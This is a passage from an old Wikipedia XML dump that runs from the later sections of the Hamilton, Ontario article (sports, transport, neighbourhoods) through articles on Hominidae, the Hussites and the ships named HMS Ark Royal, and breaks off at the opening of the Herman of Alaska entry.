The [[Hamilton Tiger-Cats|Tiger-Cats]] of the [[Canadian Football League]] play at [[Ivor Wynne Stadium]] in the east end. Notable residents and former players include [[Angelo Mosca]]. The CFL's annual Eastern Division [[Labor Day|Labour Day]] classic pits the Hamilton Tiger-Cats against perennial rivals the [[Toronto Argonauts]]. Oddly, for many years before his death, [[Harold Ballard]] owned both the Tiger-Cats and the [[Toronto Maple Leafs]], the [[NHL]] franchise in rival city [[Toronto, Ontario|Toronto]]. The team's prowess has fallen dramatically from its glory days in the 1960s and early '70s, when it was a powerhouse.

In recent decades, Hamilton has yearned and lobbied for a [[National Hockey League]] franchise. It has been continually disappointed, despite building [[Copps Coliseum|Victor K. Copps Coliseum]] downtown on Bay Street North. The sports and entertainment arena, named for a former mayor and father of [[Sheila Copps]], has hosted the World Junior Championship Games and is home ice for the [[Hamilton Bulldogs]] of the [[American Hockey League]]. The [[Hamilton Tigers]] played in the NHL during the early '20s.

The [http://www.aroundthebayroadrace.com/ Around the Bay Race] circumnavigates Hamilton Harbour or [[Burlington Bay]]. Although it is not a proper [[marathon (sport)|marathon]], it is the longest continuously held long distance foot race in North America. The local newspaper also hosts the amateur Spectator Indoor Games.

Hamilton is twinned with [[Flint, Michigan]], and its amateur athletes compete in the [http://www.internationalgames.net/canusa.htm Canusa Games], held alternatively there and here since 1957. Hamilton hosted the very successful [[World Cycling Championship|World Road Cycling Championship Games]] in 2003. 

[[Image:Hamilton_2010.gif|left|frame|Logo for unsuccessful bid for Commonwealth Games 2010]]
The Hamilton Golf Club in [[Ancaster, Ontario|Ancaster]] hosted the 2003 [[Canadian Open]] golf championship in which [[Bob Tway]] won. The traditional course layout, designed by famed course architect Hary Colt, proved very popular with touring pros and will again host the Canadian Open in 2006.

In 1998, the Ontario Raiders of the [[National Lacrosse League]] were based in Hamilton and played at [[Copps Coliseum|Victor K. Copps Coliseum]]. In 1999, the team moved to [[Toronto]] and became the [[Toronto Rock]].

Since 2002 the [[Hamilton Thunder]] have played in the [[Canadian Professional Soccer League]] (CPSL). They play at the '''Brian Timmis Stadium''' right next to the larger [[Ivor Wynne Stadium]]. The Hamilton Steelers played in the [[Canadian Soccer League]] during the late '80s and early '90s.

The Hamilton Thunderbirds play in the [[Intercounty Baseball League]].

The Hamilton Wildcats play in the [[Ontario Australian Football League]].

Hamilton were the hosts of the first [[Commonwealth Games]] (then called British Empire Games) in [[1930 British Empire Games|1930]], and bid unsuccessfully for the Commonwealth Games in 2010, losing out to [[2010 Commonwealth Games|New Delhi]] in [[India]]

==Transportation==
===Air===
[[Hamilton/John C. Munro International Airport|John C. Munro Hamilton International Airport]] is located on the Mountain at Mount Hope in the former [[Glanbrook|Glanbrook Township]]. Scheduled passenger service is provided by [[WestJet]], who for several years used the airport as their primary point of access to Southern Ontario over the more expensive [[Toronto Pearson International Airport]], and [[Air Canada Jazz]]; other airlines also offer vacation charters. The airport is also a major lower-cost alternative to [[Toronto Pearson International Airport|Pearson]] for [[cargo airline|cargo air service]].

===Rail===
[[Canadian National Railways|CN]] serves Hamilton for lifting and setting off traffic for the Rail America (Southern Ontario Railway Shortline), but as heavy industry declined and the preferred mode of transportation changed to road, the number of branch lines and feeder tracks has declined dramatically. Until the early [[1970s]], the [[Toronto, Hamilton and Buffalo Railway]] offered passenger service and since the late [[1980s]] [[GO Transit]] has offered sporadic passenger train service from its James Street North station. In the late [[1990s]], GO Transit operations were consolidated at the refurbished [[Art Deco]] building on Hunter Street which formerly served as the TH&amp;B station. The nearest [[VIA Rail]] Canada station is at [[Aldershot (GO Station)]] in west [[Burlington, Ontario|Burlington]].

===Bus===
Hamilton has good bus connections with cities in southern [[Ontario]] and western [[New York State|New York]]. [[GO Transit]] offers frequent and reliable express bus service to [[Toronto, Ontario|Toronto]], now from the TH&amp;B station and formerly from King William Street. Various other companies, such as [[Greyhound]] and [[Coach Canada]] offer less frequent service to [[St. Catharines]], [[Niagara Falls, Ontario|Niagara Falls]], [[Buffalo, New York|Buffalo]], [[Kitchener, Ontario|Kitchener-Waterloo]], [[Guelph, Ontario|Guelph]], [[Brantford, Ontario|Brantford]] and [[London, Ontario|London]].

Within the city, the [[Hamilton Street Railway]]  or [http://www.myhamilton.ca/myhamilton/CityandGovernment/CityServices/Transit/ HSR] offers good service in the lower city (especially on east-west routes), reduced service on the Mountain and skeletal service outside the old city of Hamilton (except for [[Dundas, Ontario|Dundas]], which is served about as well as the Mountain). [[Burlington Transit]] also serves Burlington via York Boulevard and the former [[Ontario provincial highway 2|Highway 2]], and HSR connects downtown Burlington under the [[Burlington Skyway Bridge]].
 
===Highways and expressways===
The following controlled access highways and expressways serve Hamilton:

* [[Queen Elizabeth Way]], north Hamilton and Stoney Creek
* [[Highway 403]], Ancaster and west Hamilton
* [[Ontario provincial highway 6|Highway 6]], Flamborough, Hamilton and Glanbrook
* [[Lincoln M. Alexander Parkway]], ‘The LINC,' Mountain
* Burlington Street (upper deck), north Hamilton

There are several other current or former Ontario highways in Hamilton, but they are not divided, controlled access highways. The controversial Red Hill Creek extension of the LINC is under construction, and will join the existing mountain portion of the LINC with the QEW in east Hamilton.

===City streets===
All of the old city of Hamilton is on a broken great grid pattern, with major north-south streets spaced approximately one mile apart. Great grid streets on the Mountain bear the name of their lower city counterparts with the prefix &quot;Upper&quot; except for Garth Street, which would be Upper Dundurn Street if the pattern held. 

East-west streets on the Mountain are pretty regular, while those in the lower city (especially major ones) are very irregular. King and Main Streets run approximately parallel to one another though they intersect at the Delta. They are usually one way streets in opposite directions, so they are best conceptualized as a single very wide boulevard and are envied by other Ontario cities for their usually efficient flow of traffic.

==City Neighbourhoods==
Former towns before amalgamation in 2001 are indicated below, all other neighbourhoods part within old city boundaries;  

'''Lower City''' (below Escarpment) 

*[[Dundas, Ontario|Dundas]] (former town) 
*[[Westdale, Ontario|Westdale]] 
*[[North End]] 
*Central 
*Corktown
*The Delta, where King and Main Streets (normally parallel) cross
*Barton Street
*Normanhurst 
*Rosedale 
*Greenhill
*[[Stoney Creek, Ontario|Stoney Creek]] (lower portion of former town) 

'''Upper City''' or '''Mountain''' (above Escarpment)  

*[[Flamborough, Ontario|Flamborough]] (former town) 
*[[Waterdown, Ontario|Waterdown]] (formerly part of Flamborough) 
*Glenwood Heights (formerly part of Flamborough) 
*[[Ancaster, Ontario|Ancaster]] (former town) 
*Hill Park 
*Inch Park
*Hampton Heights 
*Ryckmans Corners 
*[[Stoney Creek, Ontario|Stoney Creek]] (upper portion of former town) 
*Fruitland (formerly part of Stoney Creek) 
*[[Mount Hope, Ontario|Mount Hope]] (formerly part of Glanbrook, site of John C. Munro International Airport) 
*[[Glanbrook, Ontario|Glanbrook]] (former township)

==External links==
{{Mapit-Canada-cityscale|43.25999|-79.8499999}}
* [http://www.myhamilton.ca/myhamilton/CityandGovernment/ The City of Hamilton]
* [http://hamilton.ontariotenants.ca Hamilton Community Information and apartments for rent]
* [http://www.hamiltonhockey.com The New City of Hamilton Hockey Directory]

{{Ontario}}

[[Category:Hamilton, Ontario|Hamilton, Ontario]]

[[af:Hamilton, Ontario]]
[[cs:Hamilton]]
[[de:Hamilton (Ontario)]]
[[fa:همیلتون (انتاریو)]]
[[fr:Hamilton (Ontario)]]
[[pl:Hamilton (Ontario)]]
[[pt:Hamilton (Ontário)]]
[[simple:Hamilton, Ontario]]</text>
    </revision>
  </page>
  <page>
    <title>Hominidae</title>
    <id>14289</id>
    <revision>
      <id>40854886</id>
      <timestamp>2006-02-23T13:02:17Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <minor />
      <comment>/* Classification */</comment>
      <text xml:space="preserve">{{dablink|For an explanation of very similar terms see ''[[Hominid]]''.}}
{{Taxobox
| color = pink
| name = Hominids
| image = AustrolopithecusAfricanusHominidReconstruction.jpg
| image_width = 250px
| image_caption = ''[[Australopithecus|Australopithecus africanus]]'' reconstruction
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primate]]s
| unranked_familia = [[Catarrhini]]
| superfamilia = [[Hominoidea]]
| familia = '''Hominidae'''
| familia_authority = [[John Edward Gray|Gray]], [[1825]]
| subdivision_ranks = [[Genus|Genera]]
| subdivision = 
*Subfamily [[Ponginae]]
**''[[Pongo]]'' - [[orangutan]]s
**''[[Gigantopithecus]]'' (extinct)
**''[[Sivapithecus]]'' (extinct)
**''[[Lufengpithecus]]'' (extinct)
**''[[Ankarapithecus]]'' (extinct)
*Subfamily [[Homininae]]
**''[[Gorilla]]'' - [[gorilla]]s
**''[[chimpanzee|Pan]]'' - [[chimpanzee]]s
**''[[Homo (genus)|Homo]]'' - [[Human]]s and their immediate ancestors
**''[[Ouranopithecus]]'' (extinct)
**''[[Paranthropus]]'' (extinct)
**''[[Australopithecus]]'' (extinct)
**''[[Sahelanthropus]]'' (extinct)
**''[[Orrorin]]'' (extinct)
**''[[Ardipithecus]]'' (extinct)
**''[[Kenyanthropus]]'' (extinct)
*Subfamily [[Oreopithecinae]]
**''[[Oreopithecus]]'' - [[swamp ape]] (extinct)
}}

The '''hominids''' are the members of the [[biological family]] '''Hominidae''' (the '''great [[ape]]s'''), which includes [[human]]s, [[chimpanzee]]s, [[gorilla]]s, and [[orangutan]]s. &lt;!--These are the common names for the four living genera in Hominidae. Please don't change it to include a mix of species and genera common names.--&gt;

This classification has been [[ape#History of hominoid taxonomy|revised several times]] in the last few decades. Originally, the group was restricted to humans and their [[extinct]] relatives, with the other great apes being placed in a separate family, the '''Pongidae'''. This definition is still used by many [[anthropologist]]s and by [[laity|lay people]]. However, that definition makes Pongidae [[paraphyletic]], whereas most taxonomists nowadays encourage [[monophyletic]] groups. Thus many [[biologist]]s consider Hominidae to include the Pongidae as the subfamily [[Ponginae]], or restrict the latter to the orangutan and extinct relatives like ''[[Gigantopithecus]]''. The taxonomy shown here follows the monophyletic groupings.

Especially close human relatives form a [[subfamily]], the [[Homininae]]. Some researchers go so far as to include chimpanzees and gorillas in the genus ''[[Homo (genus)|Homo]]'' along with humans, but most genetic evidence suggests the relationships as shown here.

Many extinct hominids have been studied to help understand the relationship between modern humans and the other extant hominids. Some of the extinct members of this family include ''[[Gigantopithecus]]'', ''[[Orrorin]]'', ''[[Ardipithecus]]'', ''[[Kenyanthropus]]'', and the [[australopithecine]]s ''[[Australopithecus]]'' and ''[[Paranthropus]]''.

The exact criteria for membership in the Homininae are not clear, but the family generally includes those [[species]] who share more than 97% of their [[DNA]] with the modern human [[genome]], and exhibit a capacity for [[language]] and for simple [[culture]]s beyond the family or band. The [[theory of mind]], providing the capacity to lie convincingly, is a controversial criterion distinguishing the adult human alone among the hominids. Humans acquire this capacity at about four and a half years of age, whereas the bonobo, gorilla and chimpanzee never seem to do so. However, without the ability to test whether early members of the Homininae (such as ''[[Homo erectus]]'', ''[[Homo neanderthalensis]]'', or even the australopithecines) had a theory of mind, it is difficult to ignore similarities seen in their living cousins. Despite an apparent lack of real culture and significant physiological differences, some say that the orangutan may also satisfy these criteria. These scientific debates take on political significance for advocates of [[Great Ape personhood]].

In [[2002]], a 6&amp;ndash;7 million year old [[fossil]] [[skull]] nicknamed &quot;Toumaï&quot; by its discoverers, and formally classified as ''[[Sahelanthropus tchadensis]]'', was discovered in [[Chad]] and is possibly the earliest hominid [[fossil]] ever found. In addition to its age, Toumaï, unlike the 3&amp;ndash;4 million year younger [[gracile australopithecine]] dubbed &quot;[[Australopithecus afarensis|Lucy]]&quot;, has a relatively flat face without the prominent snout seen on other pre-''[[Homo (genus)|Homo]]'' hominids. Some researchers have made the suggestion that this previously unknown species may in fact be a direct ancestor of modern humans (or at least closely related to a direct ancestor). Others contend that one fossil is not enough to make such a claim because it would overturn the conclusions of over 100 years of [[anthropology|anthropological]] study. A report on this finding was published in the journal ''[[Nature (journal)|Nature]]'' on [[July 11]], [[2002]]. While some scientists claim that it is merely the skull of a female gorilla, others have called it the most important hominin fossil since ''Australopithecus''.&lt;br clear=&quot;right&quot; /&gt;

== Classification ==
[[Image:Hominidae.PNG|300px|thumb|right|Hominoid family tree]]
[[Image:Orang.gorilla.skulls.jpg|250px|thumb|right|Skulls of an orangutan and a gorilla]]
* '''Family Hominidae''': humans and other great apes
** Subfamily [[Orangutan|Ponginae]]
*** Genus ''[[Orangutan|Pongo]]''
**** [[Bornean Orangutan]], ''Pongo pygmaeus''
**** [[Sumatran Orangutan]], ''Pongo abelii''
** Subfamily [[Homininae]]
*** Tribe [[Gorilla|Gorillini]]
**** Genus ''[[Gorilla]]''
***** [[Western Gorilla]], ''Gorilla gorilla'' 
***** [[Eastern Gorilla]], ''Gorilla beringei'' 
*** Tribe [[Hominini]]
**** Genus ''[[chimpanzee|Pan]]''
***** [[Common Chimpanzee]], ''Pan troglodytes''
***** [[Bonobo]] or Pygmy Chimpanzee, ''Pan paniscus''
**** Genus ''[[Homo (genus)|Homo]]''
***** [[Human]], ''Homo sapiens''

== See also ==
{{Commonscat|Hominidae}}
{{3d commons}}
{{Wikispecies|Hominidae}}
{{Wikibookspar|Dichotomous Key|Hominidae}}
* [[Ape extinction]]
* [[Declaration on Great Apes]]
* [[Evolution of Homo sapiens]]
* [[Evolutionary neuroscience]]
* [[Graphical timeline of human evolution]]
* [[Great ape language]]
* [[Great Ape Project]]
* [[List of apes]] - notable individual apes
* [[The Mind of an Ape]]
* [[Great Ape research ban]]

== External links ==
*[http://www.npr.org/programs/atc/features/2002/july/toumai/index.html NPR News: Toumaï the Human Ancestor]
*[http://www.talkorigins.org/faqs/homs/species.html Hominid Species] at talkorigins.org
*[http://www.modernhumanorigins.net/ For more details on Hominid species, including excellent photos of fossil hominids]
*[http://free.hostdepartment.com/H/Hominids/Hominidae.htm A Classification] A more complete classification than the above, with a list of species, including extinct ones. Extensive, though still incomplete. 

[[Category:Apes]]

[[ar:أسلاف الإنسان]]
[[ca:Hominidae]]
[[da:Menneskeabe (Hominidae)]]
[[de:Menschenaffen]]
[[es:Hominidae]]
[[eo:Homedoj]]
[[fr:Hominidae]]
[[ko:사람과]]
[[he:הומינידים]]
[[la:Hominidae]]
[[lt:Hominidai]]
[[li:Minsape]]
[[nl:Hominidae]]
[[ja:ヒト科]]
[[lb:Mënschenafen]]
[[pl:Człowiekowate]]
[[pt:Hominidae]]
[[ru:Гоминиды]]
[[sv:Människoapor]]
[[zh:人科]]</text>
    </revision>
  </page>
  <page>
    <title>Hussite</title>
    <id>14291</id>
    <revision>
      <id>41947880</id>
      <timestamp>2006-03-02T20:43:11Z</timestamp>
      <contributor>
        <username>Durova</username>
        <id>521374</id>
      </contributor>
      <minor />
      <comment>/* The [[Hussite Wars]] */ minor copyedit</comment>
      <text xml:space="preserve">The '''Hussites''' comprised a proto-[[Protestantism|Protestant]]
[[Christianity|Christian]] movement, followers of [[Jan Hus]]. This predominantly religious movement was also propelled by social issues and strengthened the [[Czechs|Czech]] national self-awareness.

==Effect in Bohemia of the Death of Hus==
The arrest of Hus had excited considerable resentment in [[Bohemia]] and [[Moravia]]. In both countries the estates appealed repeatedly and urgently to [[Sigismund, Holy Roman Emperor]] to release Hus. 

On the arrival of the news of his death at the [[Council of Constance]] in [[1415]], disturbances broke out which were directed at first against the [[clergy]], especially against the monks. Even the archbishop saved himself with
difficulty from the rage of the populace. In the country conditions were not much better.

Everywhere the treatment of Hus was felt as a disgrace inflicted upon the whole country, and his death was looked upon as a criminal act. King [[Wenceslaus, Holy Roman Emperor|Wenceslaus]], prompted by his grudge against Sigismund, at first gave free vent to his indignation at the course of events in Constance; and his wife openly favored the friends of Hus. Pronounced Hussites stood at the head of the government. A league was formed by certain lords who pledged themselves to protect the free preaching of the Gospel upon all their possessions and estates, and to obey the power of the bishops only in case their orders accorded with the injunctions of the [[Bible]].

In disputed points the decision of the university should be resorted to. The entire Hussite nobility
joined the league, and if the king had entered it,
its resolutions would have received the sanction of
the law; but he refused, and approached the Roman
Catholic League of lords, which was now formed, the members pledging themselves to cling to the king, the [[Roman Catholic Church|Roman Church]], and the Council. Signs of the outbreak of a civil war began to show. [[Pope Martin V]], who, while still Cardinal Otto of [[Colonna]], had attacked Hus with relentless severity, energetically resumed the battle against Hus's teaching after the enactments of the Council of Constance. He intended to eradicate completely the doctrine of Hus. For this purpose the co-operation of King Wenceslaus had to be obtained. In
1418 Sigismund succeeded in winning his brother
over to the standpoint of the council by pointing
out the inevitability of a religious war if the
heretics in Bohemia found further protection.
Hussite statesmen and army leaders had to leave
the country, and Roman priests were reinstituted.
These measures caused a general commotion which
hastened the death of Wenceslaus by a paralytic
stroke in 1419. His heir was Sigismund.

== Two Parties in Bohemia==
Hussism had organized itself during the years
1415-1419. From the beginning two parties were
found: the closer adherents of Hus clung to his standpoint, leaving the whole hierarchical and liturgical order of the Church untouched; the radical
party identified itself more boldly with
the doctrines of [[John Wyclif]], shared his passionate hatred of the [[monasticism|monastic]] clergy, and, like him, attempted to lead the Church back to its supposed condition during the time of the apostles, which necessitated the removal of the existing hierarchy and the secularization of ecclesiastical possessions. The radicals among the Hussites sought to translate their theories into
reality; they preached the ''sufficientia legis Christi''-- that only the divine law (i.e., the Bible) is the rule and
canon for man, and that not only in ecclesiastical
matters, but also in political and civil matters.
They rejected therefore, as early as 1416, everything
that they believed had no basis in the Bible, such as the veneration of
saints and images, [[fasting|fasts]], superfluous holidays, the
oath, intercession for the dead, auricular confession,
[[indulgence]]s, the sacraments of [[Confirmation]] and
the [[Anointing of the Sick]]; they admitted laymen and women to
the preacher's office, and chose their own priests. But
before everything they clung to Wyclif's doctrine
of the [[Lord's Supper]], denying [[transubstantiation]],
and this is the principal point by which they are
distinguished from the moderate party.

== The Four Articles of Prague==
The program of the more conservative Hussites
is contained in the four articles of [[Prague]], which
were agreed upon in July, 1420, and
promulgated in the Latin, Czech, and
German languages:

#Freedom to preach the Word of God.
#Celebration of the Lord's Supper in both kinds (bread and wine to priests and laity alike).
#No profane power for the clergy.
#The same law for laity and priests.
(Please note that this is only a widely accepted abbreviation - the full text of the four articles is about two pages long.)

==Calixtines or Utraquists, and Taborites==
The views of the moderate Hussites were
represented at the university and among the citizens of
Prague; therefore they were called
the Prague party; they were also
called Calixtines or [[Utraquists]], because
they emphasized the second article,
and the chalice became their emblem.
The radicals had their gathering-place
in the small town of Usti, on the river Luznice,
south of Prague. But as the place was not
defensible, they founded a city upon a neighboring hill,
which they named [[T%C3%A1bor]] (after the traditional name of the mountain on which Jesus was expected to return; see Mark 13); hence they were called
[[Taborites]]. They comprised the essential force of
Hussism. Their aim was to destroy the enemies
of the law of God, and to extend his kingdom by
the sword. For the latter purpose they waged
bloody wars, for the former purpose they established
a strict jurisdiction, inflicting the severest
punishment not only upon heinous crimes like murder and
adultery, but also upon faults like perjury and
[[usury]], and tried to apply the conditions required
in the law of God to the social relations of the world.

== The [[Hussite Wars]]==
The news of the death of King Wenceslaus 
produced the greatest commotion among the people of
Prague. A revolution swept over the
country; churches and monasteries
were destroyed, and the ecclesiastical
possessions were seized by the Hussite
nobility. Sigismund could get 
possession of his kingdom only by force of arms.
Pope Martin V called upon all Christians of the Occident
to take up arms against the Hussites, and there
followed twelve years of [[Hussite Wars | warfare]]. The Hussites initially campaigned defensively, but after 1427
they assumed the offensive. Apart from their
religious aims, they fought for the national interests
of the Czechs. The moderate and radical parties
were united and they not only repelled the attacks
of the army of [[crusade]]rs, but entered the neighboring
countries.

In 1430, [[Joan of Arc]] dictated a [http://archive.joan-of-arc.org/joanofarc_letter_march_23_1430.html  letter on [[March 23]]] that threatened to lead a crusading army against the Hussites unless they returned to the Catholic Faith; but her capture by English and Burgundian troops two months later would keep her from carrying out this threat.

==The Council of Basel and Compacta of Prague==
Eventually the opponents of the Hussites found themselves forced to consider an amicable settlement. They invited a Bohemian embassy to appear at the [[Council of Basel]]. The
discussions began on [[January 10]], [[1432]], centering chiefly
in the four articles of [[Prague]]. No agreement emerged. After repeated negotiations between the Basel Council and Bohemia, a Bohemian-Moravian state assembly in Prague accepted the 
''Compacta'' of Prague on [[November 30]], [[1433]].  The agreement granted communion in both kinds to all who desired it, but with the understanding that Christ was entirely present in each kind. Free preaching was granted conditionally: the Church hierarchy had to approve and place priests, and the power of the bishop must be considered. The article which prohibited the secular power of the clergy was almost reversed. 

The Taborites refused to conform, and the Calixtines united with the Roman Catholics and destroyed the Taborites in a [[battle of Lipany|battle]] near Lipany ([[May 30]], [[1434]]). From that time the Taborites lost their importance. The state assembly of Jihlava in [[1436]] confirmed the ''Compactata'' and gave them the sanction of law.  This accomplished the reconciliation of Bohemia with Rome and the Western Church, and now Sigismund first obtained possession of the Bohemian crown. His reactionary measures caused a ferment in the whole country, but he died in [[1437]]. The state assembly in Prague rejected Wyclif's doctrine of the Lord's Supper, which was obnoxious to the [[Utraquists]], as heresy in [[1444]]. Most of the Taborites now went over to the party of the 
Utraquists; the rest joined the &quot;Brothers of the Law of Christ&quot; (''Unitas Fratrum'' in the Latin)(see [[Unity of the Brethren]]; also [[Bohemian Brethren]] and [[Moravians (religion)|Moravians]]).

==Disappearance of the Hussites==
The Utraquists had retained hardly anything of
the doctrines of Hus except communion in both
kinds. In [[1462]] [[Pope Pius II]] declared the
''Compactata'' null and void, prohibited
communion in both kinds, and 
acknowledged [[George of Podebrady]] as
king under the condition that he would
promise an unconditional harmony
with the Roman Church. This he refused, but his
successor, King [[Ladislaus II of Bohemia and Hungary|Vladislaus II]], favored the Roman
Catholics and proceeded against some zealous
clergymen of the Calixtines. The troubles of the
Utraquists increased from year to year. In 1485, at the
[[diet of Kutná Hora]], an agreement between the
Roman Catholics and Utraquists was obtained
which lasted for thirty-one years. But it was
considerably later, at the diet of 1512, that the equal
rights of both religions were permanently
established. Luther's appearance was hailed by the
Utraquist clergy, and [[Martin Luther]] himself was astonished to find so many points of agreement between the
doctrines of Hus and his own. But not all Utraquists
approved of the German [[Reformation]]; a schism
arose among them, and many returned to the
Roman doctrine, while other elements had long
before joined the ''Unitas Fratrum''. Under
[[Maximilian II, Holy Roman Emperor|Maximilian II]], the Bohemian state assembly established
the ''Confessio Bohemica, '' upon which Lutherans,
Reformed, and Bohemian Brethren agreed. From
that time Hussism began to die out; but it was - for a time - completely eradicated only after the [[battle of the White Mountain]] ([[November 8]], [[1620]]) and the Roman Catholic reaction which fundamentally changed the ecclesiastical conditions of Bohemia and Moravia.
==Rebirth of the Czechoslovak Hussite Church==
Astoundingly, the Hussite movement was to be reborn in the twentieth century as the Czechoslovak Hussite Church  (Církev československá husitská - CCH). The Czechoslovak Hussite Church (until 1971 the Czechoslovak Church) was refounded in 1919 during the Christmas season, when for the first time in many Catholic churches the Divine service was celebrated in Czech rather than Latin - a move designed to outrage Czech hierarchy.  Its forerunner was the Jednota (Union of the Catholic Czechoslovak Clergy), founded in 1890 to promote such reforms as use of the vernacular in the liturgy and voluntary clerical celibacy. Officially the Czechoslovak Hussite Church was reestablished on January 8, 1920 in  Prague. Its founders, headed by ThDr. Karel Farský, who later became the new church´s first patriarch, belonged to the radical wing of the modernist reform movement of Roman Catholic clergy. 

Relations between the Church and its fellow members of the ecumenical movement are cordial, but remained strained with the country's Roman Catholic leadership. The first female bishop of the Czechoslovak-Hussite church was elected to a 7-year term of office in April 1999. In January 1999, Catholic Archbishop Miloslav Vlk initially made a public statement of disapproval, warning against election of a woman to this position and saying that it would cause deterioration of ecumenical relations. Following criticism by the Czech-Hussite Church for interfering in their affairs, Vlk retracted his remarks later in January and stated that the Roman Catholic Church would exert no pressure against her election. 

The Czech-Hussite Church accepted the Archbishop's apology.The Church is a member of the [[World Council of Churches]], the Ecumenical Council of Churches in the Czech Republic, the Conference of European Churches, and  the Leuenberg Community of Churches. The CHC has 180.000 adherents. In 307 congregations divided into five dioceses situated in Prague, Pilsen, Hradec Králové, Brno and Olomouc. There are approximately 266 priests in active ministry, of which 130 are women. Candidates of ministry are prepared at the Hussite Faculty of Theology at [[Charles University]] in Prague

{{Schaff-Herzog}}

==External links==
* [http://www.husitstvi.cz/ Hussites - the gods' warriors], in Czech
* [http://www.ekumenickarada.cz/erceng/ccsh.html Ecumenical Council of Churches in the Czech Republic]
* [http://www.ccsh.cz/new/default.asp Official Website of the Czechoslovak Hussite Church]
* [http://www.ekumenickarada.cz/erceng/cl34.htm Eightieth Anniversary of Refoundation of the Czech Hussite Church: Address by Prof. ThDr. Zdeněk Sázava]
* [http://www.htf.cuni.cz/ Hussite Faculty of Theology at Charles University, Prague]
* [http://www.husiti.cz/ccshpd/index.htm CHC Diocese of Prague]
* [http://www.ccshbrno.cz/ CHC Diocese of Brno]
* [http://www.ccshhk.cz/ CHC Diocese of Kralove]
* [http://www2.kenyon.edu/Projects/Margin/hussites.htm Notes on the Hussite movement and links to primary sources, from Kenyon college]
* [http://archiv.radio.cz/history/history05.html The Hussite Era, from Radio Prague's History Online feature]
* [http://www.newadvent.org/cathen/07585a.htm Article on the Hussites from the Catholic Encyclopedia (1917 edition)]
* [http://myweb.tiscali.co.uk/matthaywood/main/Warwagons.htm Hussite War-wagons, presenting detailed information about the Hussites' most characteristic tactic, by Matthew Haywood]
* [http://archive.joan-of-arc.org/joanofarc_letter_march_23_1430.html  Letter to the Hussites dictated by Joan of Arc on [[23 March]] [[1430]], translated by Allen Williamson.]
* [http://www.ucalgary.ca/applied_history/tutor/endmiddle/bluedot/hussites.html Short article on the Hussites, from the University of Calgary's 'The End of Europe's Middle Ages']
* [http://www.allempires.com/articles/hussite/hussite1.htm Article on the Tactics of the Hussites]

[[Category:Heresy]]
[[Category:Protestantism]]

[[cs:Husitství]]
[[de:Hussiten]]
[[eo:Husmovado]]
[[fr:Église hussite]]
[[hu:Husziták]]
[[nl:Hussieten]]
[[ja:フス派]]
[[pl:Husyci]]
[[sk:Husitstvo]]
[[sv:Husiter]]</text>
    </revision>
  </page>
  <page>
    <title>HMS Ark Royal</title>
    <id>14292</id>
    <revision>
      <id>34237723</id>
      <timestamp>2006-01-07T13:32:48Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>gdrbot - replaced {{disambig}} with {{shipindex}} (see discussion at [[Wikipedia talk:WikiProject Ships]])</comment>
      <text xml:space="preserve">[[Image:Ark_royal_r07.600px.jpg|thumbnail|300px|[[HMS Ark Royal (R07)|HMS ''Ark Royal'' (R07)]] in Greenwich dock, London]]
{{shipindex}}

'''HMS ''Ark Royal''''' is a name that has been borne by five ships in the [[United Kingdom|British]] [[Royal Navy]].

* The first [[HMS Ark Royal (1587)|''Ark Royal'']] was built as ''Ark Raleigh'' at [[Deptford, London|Deptford]] on the [[River Thames]] in [[1587]], to the order of Sir [[Walter Raleigh]]. She was bought by [[Elizabeth I of England|Queen Elizabeth's]] navy for £5,000 (&quot;money well given&quot;, according to her new commander, [[William Howard, 1st Baron Howard of Effingham|Lord Howard of Effingham]]) and, as ''Ark Royal'', was the flagship of the [[England|English]] fleet during the [[Spanish Armada]] campaign of [[1588]]. In [[1608]], under the new monarch [[James I of England|James I]], she was rebuilt and renamed ''Anne Royal''. She was broken up in [[1636]].
* The second [[HMS Ark Royal (1914)|''Ark Royal'']], after a gap of almost 300 years, was a merchant ship converted on the building stocks to be a seaplane carrier and was the world's first [[aircraft carrier]].  Built in [[Blyth, Northumberland]], she was launched in [[1914]], she served in the [[Dardanelles Campaign]] and throughout [[World War I]].  She was renamed HMS ''Pegasus'' in [[1934]], to free the name ''Ark Royal'' for a new ship, and was broken up in [[1950]].
* The third [[HMS Ark Royal (91)|''Ark Royal'' (91)]] was launched in 1938, saw action in [[World War II]], and was sunk by a [[U-boat]] in [[1941]].
* The fourth [[HMS Ark Royal (R09)|''Ark Royal'' (R09)]] was an [[Audacious class aircraft carrier|''Audacious''-class fleet aircraft carrier]].  After starring in the [[1970s]] [[BBC]] series &quot;Sailor&quot;, she eventually went to the breaker's yard in [[1980]].
* The fifth [[HMS Ark Royal (R07)|''Ark Royal'' (R07)]] is an [[Invincible class aircraft carrier|''Invincible''-class aircraft carrier]].  She served in the [[2003 invasion of Iraq]].

== Battle honours ==

* [[Spanish Armada]] [[1588]]
* [[Battle of Cádiz (1596)|Cádiz]] [[1596]] 
* [[Naval operations in the Dardanelles Campaign|Dardanelles]] [[1915]]
* [[Allied campaign in Norway|Norway]] [[1940]] 
* [[Battle of Cape Spartivento|Spartivento]] [[1940]]
* [[Battle of the Mediterranean|Mediterranean]] [[1940]]&amp;ndash;[[1941]] 
* [[German battleship Bismarck|''Bismarck'']] [[1941]]
* [[Malta Convoys]] [[1941]]

==External links==
*[http://www.royal-navy.mod.uk/static/pages/1891.html Royal Navy - HMS Ark Royal]

[[de:Ark Royal]]
[[ja:&amp;#12450;&amp;#12540;&amp;#12463;&amp;#12539;&amp;#12525;&amp;#12452;&amp;#12516;&amp;#12523;]]
[[zh:&amp;#30343;&amp;#23478;&amp;#26041;&amp;#33311;&amp;#21495;&amp;#33322;&amp;#31354;&amp;#27597;&amp;#33328;]]
[[Category:Royal Navy ship names|Ark Royal]]</text>
    </revision>
  </page>
  <page>
    <title>Herman of Alaska</title>
    <id>14293</id>
    <revision>
      <id>34578944</id>
      <timestamp>2006-01-10T04:42:11Z</timestamp>
      <contributor>
        <username>Wesley</username>
        <id>63</id>
      </contributor>
      <text xml:space="preserve">Saint '''Herman of Alaska''' is the first [[saint]] to be canonized by the [[Orthodox Church in America]].

*Born: probably in 1756, possibly in 1760, in [[Serpukhov]].
*Died: [[December 13]], [[1837]].

